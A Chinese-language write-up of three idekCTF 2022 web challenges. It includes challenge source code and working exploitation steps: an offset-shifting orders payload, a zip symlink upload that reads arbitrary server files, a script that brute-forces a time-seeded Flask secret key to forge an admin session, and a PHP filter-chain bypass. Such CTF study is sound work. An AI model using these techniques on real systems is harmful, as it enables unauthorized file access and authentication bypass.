idekCTF2022 Web

Readme

给了源码,本地搭建把环境变量中flag和ip端口改了一下。源码如下:

package main

import (
	"bufio"
	"bytes"
	"context"
	"crypto/sha256"
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"io/ioutil"
	"math/rand"
	"net/http"
	"time"
)

var password = sha256.Sum256([]byte("idek"))
var randomData []byte

const (
	MaxOrders = 10
)

func initRandomData() {
	rand.Seed(1337)
	randomData = make([]byte, 24576)
	if _, err := rand.Read(randomData); err != nil {
		panic(err)
	}
	copy(randomData[12625:], password[:])
}

type ReadOrderReq struct {
	Orders []int `json:"orders"`
}

func justReadIt(w http.ResponseWriter, r *http.Request) {
	defer r.Body.Close()

	body, err := ioutil.ReadAll(r.Body)
	if err != nil {
		w.WriteHeader(500)
		w.Write([]byte("bad request\n"))
		return
	}

	reqData := ReadOrderReq{}
	if err := json.Unmarshal(body, &reqData); err != nil {
		w.WriteHeader(500)
		w.Write([]byte("invalid body\n"))
		return
	}

	if len(reqData.Orders) > MaxOrders {
		w.WriteHeader(500)
		w.Write([]byte("whoa there, max 10 orders!\n"))
		return
	}

	reader := bytes.NewReader(randomData)
	validator := NewValidator()

	ctx := context.Background()
	for _, o := range reqData.Orders {
		if err := validator.CheckReadOrder(o); err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
			return
		}

		ctx = WithValidatorCtx(ctx, reader, int(o))
		_, err := validator.Read(ctx)
		if err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
			return
		}
	}

	if err := validator.Validate(ctx); err != nil {
		w.WriteHeader(500)
		w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
		return
	}

	w.WriteHeader(200)
	w.Write([]byte("flag{test_flag}"))
}

func main() {

	initRandomData()

	http.HandleFunc("/just-read-it", justReadIt)

	srv := http.Server{
		Addr:         "192.168.31.232:8989",
		ReadTimeout:  5 * time.Second,
		WriteTimeout: 5 * time.Second,
	}

	fmt.Printf("Server listening on %s\n", "192.168.31.232:8989")
	if err := srv.ListenAndServe(); err != nil {
		panic(err)
	}
}

type Validator struct{}

func NewValidator() *Validator {
	return &Validator{}
}

func (v *Validator) CheckReadOrder(o int) error {
	if o <= 0 || o > 100 {
		return fmt.Errorf("invalid order %v", o)
	}
	return nil
}

func (v *Validator) Read(ctx context.Context) ([]byte, error) {
	r, s := GetValidatorCtxData(ctx)
	buf := make([]byte, s)
	_, err := r.Read(buf)
	if err != nil {
		return nil, fmt.Errorf("read error: %v", err)
	}
	return buf, nil
}

func (v *Validator) Validate(ctx context.Context) error {
	r, _ := GetValidatorCtxData(ctx)
	buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
	if err != nil {
		return err
	}
	fmt.Println(bytes.Index(randomData, buf))//这一句是我自己加的,方便调试
	if bytes.Compare(buf, password[:]) != 0 {
		return errors.New("invalid password")
	}
	return nil
}

const (
	reqValReaderKey = "readerKey"
	reqValSizeKey   = "reqValSize"
)

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
	reader := ctx.Value(reqValReaderKey).(io.Reader)
	size := ctx.Value(reqValSizeKey).(int)
	if size >= 100 {
		reader = bufio.NewReader(reader)
	}
	return reader, size
}

func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
	ctx = context.WithValue(ctx, reqValReaderKey, r)
	ctx = context.WithValue(ctx, reqValSizeKey, size)
	return ctx
}

首先初始化了两个全局变量:passwordrandomDatapassword变量是由字符串"idek"进行SHA256哈希得到的。 randomData变量是创建了一个大小为24576字节的字节数组,然后使用rand.Seed(1337)随机填充该数组,最后在randomData12625个字节后面添加上password变量的值。

我们接下来看main函数

1673682933342.png

这里设定了一个just-read-it路由,这个路由定义了诸多过滤,我们一个一个看。

1673683062705.png

第一行代码defer r.Body.Close()会在这个函数退出之前关闭请求的Body。 然后调用ioutil.ReadAll(r.Body)读取请求的body部分到一个字节数组里。 如果读取过程中出现错误,就会返回http状态码500和"bad request"的错误信息。

1673683115420.png

这段代码中,它首先声明一个ReadOrderReq类型的变量reqData。然后使用json.Unmarshal函数将请求的body数据解码成ReadOrderReq类型的reqData。如果解码出现错误,则会返回"invalid body"的错误信息。

1673683242956.png

这段代码就是限制reqData变量中Orders属性的数量不能大于10

1673683432154.png

这里首先新建bytes.Reader对象并传入randomData数据。然后循环调用validator.CheckReadOrder(o)检测传入的每一个Orders,必须是大于1小于100的数

CheckReadOrder

func (v *Validator) CheckReadOrder(o int) error {
   if o <= 0 || o > 100 {
      return fmt.Errorf("invalid order %v", o)
   }
   return nil
}

WithValidatorCtx

然后调用WithValidatorCtx函数,

func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
   ctx = context.WithValue(ctx, reqValReaderKey, r)
   ctx = context.WithValue(ctx, reqValSizeKey, size)
   return ctx
}

这段代码是定义了一个函数WithValidatorCtx,它用于在给定的上下文中添加两个键值对,分别是reqValReaderKey和reqValSizeKey,并将它们的值分别设置为传入的readerorders。最后将新的上下文返回。

1673684307285.png

随后调用Read方法。

Read

1673684345236.png

这段代码是一个实现了 Validator 结构体的 Read 方法,它接受一个 context.Context 类型的参数 ctx,调用 GetValidatorCtxData(ctx) 方法获取到 readerorders的值,分别赋值给变量 r 和 s。接着定义一个 buf 变量,大小为 s,然后调用 r.Read(buf) 方法读取数据。每调用一次Read,位置就会往后移。

接下来调用Validate(ctx)

Validate

func (v *Validator) Validate(ctx context.Context) error {
   r, _ := GetValidatorCtxData(ctx)
   buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
   if err != nil {
      return err
   }
   fmt.Println(bytes.Index(randomData, buf))
   if bytes.Compare(buf, password[:]) != 0 {
      return errors.New("invalid password")
   }
   return nil
}

这里传入上下文,获取到reader,然后读取32位数据。然后将读取到的数据与密码做对比,如果正确则通过if,最后拿到flag。

我们知道randomData[12625:]之后的数据衔接密码,所以我们要让读取的位置从12625开始,即可让reader.Read()读取到的数据是以密码

先输入100,得到位置是4096,输入其他数字,得到的则是本身

那么 4096x3 + 98x3+43=12625

所以post传入:

{"orders": [100, 100, 100, 98,98,98,43]}
1673686270334.png

SimpleFileServer

分析源码

给了源码,是flask框架,获取flag需要伪造admin

import logging
import os
import re
import sqlite3
import subprocess
import uuid
import zipfile

from flask import (Flask, flash, redirect, render_template, request, abort,
                   send_from_directory, session)
from werkzeug.security import check_password_hash, generate_password_hash


app = Flask(__name__)
DATA_DIR = "/tmp/"

# Uploads can only be 2MB in size
app.config['MAX_CONTENT_LENGTH'] = 2 * 1000 * 1000

# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
    logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

# Set secret key
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    session.clear()

    if request.method == "GET":
        return render_template("login.html")

    username = request.form.get("username", "")
    password = request.form.get("password", "")
    with sqlite3.connect(DATA_DIR + "database.db") as db:
        res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?", (username,))
        user = res.fetchone()
        if not user or not check_password_hash(user[0], password):
            flash("Incorrect username/password", "danger")
            return render_template("login.html")
    
    session["uid"] = username
    session["admin"] = user[1]
    return redirect("/upload")


@app.route("/register", methods=["GET", "POST"])
def register():
    session.clear()

    if request.method == "GET":
        return render_template("register.html")

    username = request.form.get("username", "")
    password = request.form.get("password", "")
    if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}", username):
        flash("Invalid username/password", "danger")
        return render_template("register.html")
    
    with sqlite3.connect(DATA_DIR + "database.db") as db:
        res = db.cursor().execute("SELECT username FROM users WHERE username=?", (username,))
        if res.fetchone():
            flash("That username is already registered", "danger")
            return render_template("register.html")
        
        db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, generate_password_hash(password)))
        db.commit()
    
    session["uid"] = username
    session["admin"] = False
    return redirect("/upload")


@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")
    
    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")


@app.route("/uploads/<path:path>")
def uploads(path):
    try:
        return send_from_directory(DATA_DIR + "uploads", path)
    except PermissionError:
        abort(404)


@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

在config.py中发现SECRET_KEY是通过随机数生成的,种子是时间戳+一个常数。但这个常数是被修改过的,并没有给我们

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

此时我们就应该寻找这个时间了,从dockerfile中可以看到有/tmp/server.log日志

FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb

RUN apt update && apt install -y \
        sqlite3 zip unzip \
    && rm -rf /var/lib/apt/lists/*

# pip
RUN pip install --no-cache-dir flask gunicorn

COPY src/ /app
WORKDIR /app

RUN chmod 4755 flag
RUN chmod 600 flag.txt

USER nobody

CMD bash -c "mkdir /tmp/uploadraw /tmp/uploads && sqlite3 /tmp/database.db \"CREATE TABLE users(username text, password text, admin boolean)\" && /usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py --log-file /tmp/server.log wsgi:app"

日志当中肯定记录了服务器运行这个程序的时间,取这个时间的前后进行爆破应该就可以了。这题可以上传zip,然后服务器进行解压缩,并把解压之后的文件链接给你。我们可以通过zip软链接实现读取除flag以外的任意文件,因为这题的flag是600权限

软链接读取

ln -s /tmp/server.log le1a.link
zip --symlink le1a.zip le1a.link

读取到时间以后,转为时间戳开始爆破正确的时间戳。然后我们还要读取config.py中真正的SECRET_OFFSET

这里我们可以用到flask_unsign包来验证key是否正确

import random
import sys
from flask_unsign import verify, sign

session = "eyJhZG1pbiI6bnVsbCwidWlkIjoiYSJ9.Y8NJdQ.t-Orpm8NJN1OcTRqzI1SJsx_hks"

# 验证key是否正确
#print(verify("eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU", "CHANGEME"))


# 时间戳范围
start = 1673737312
#       1673737412
end =   1673737415
SECRET_OFFSET = -67198624


while start < end:
    start = round(start,3)
    random.seed(round((start + SECRET_OFFSET) * 1000))
    key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
    print(start)

    if verify(session, key) == True:
        #key = "e897071bf3d5dc6ff7882fc0b64ece5c"
        print("==="*20)
        print(sign({'admin':True, 'uid': 'a'}, key))
        print(key)
        sys.exit(0)

    start += 0.001

将得到的session替换,然后访问flag路由即可获得flag。

1673950867874.png

Paywall

给了源码

<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="assets/style.css">
    <title>The idek Times</title>
</head>
<body>

<main>
    <nav>
        <h1>The idek Times</h1>
    </nav>

    <?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
           
    ?>

    <a href="/?p=flag">
        <article>
            <h2>All about flags</h2>
            <p>Click to view</p>
        </article>
    </a>
    
    <a href="/?p=hello-world">
        <article>
            <h2>My first post!</h2>
            <p>Click to view</p>
        </article>
    </a>

    <a href="/?source" id="source">Source</a>
    
</main>

    
</body>
</html>

这里请求p参数,然后使用file_get_contents()函数读取这个文件。但是会检测文件内容,如果是以PREMIUM开头的话,就会被拦截。如果是以FREE开头,就会把文件内容展示出来。

1674026278606.png

我们来看一下flag的格式,正是以PREMIUM开头的,所以说直接?p=flag是会被拦截的

1674027626516.png

所以这里想要bypass这个过滤,就得让flagFREE开头。一般来说常用filter伪协议来加密文件内容,例如String.rot13之类的。

1674028916628.png

那要怎样才能改变读取到的文件内容,使得文件内容以FREE开头呢。

filter链

这里有一个开源工具 https://github.com/synacktiv/php_filter_chain_generator

python3 php_filter_chain_generator.py --chain 'FREE  '  //至于这里为什么FREE后面要加空格下面再说
1674029336146.png
1674029391041.png

flag

idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

FREE后为什么要加空格

我们来看看不加空格的效果:

1674029554401.png

可以看到虽然flag读取到了,flag乱码了。原因可能是因为要把构造的FREE 跟 flag间隔开,防止flag部分也被加密输出了。

在工具文档也说了,需要在FREE之后填充几个空格,以便payload可以正常工作

1674029969324.png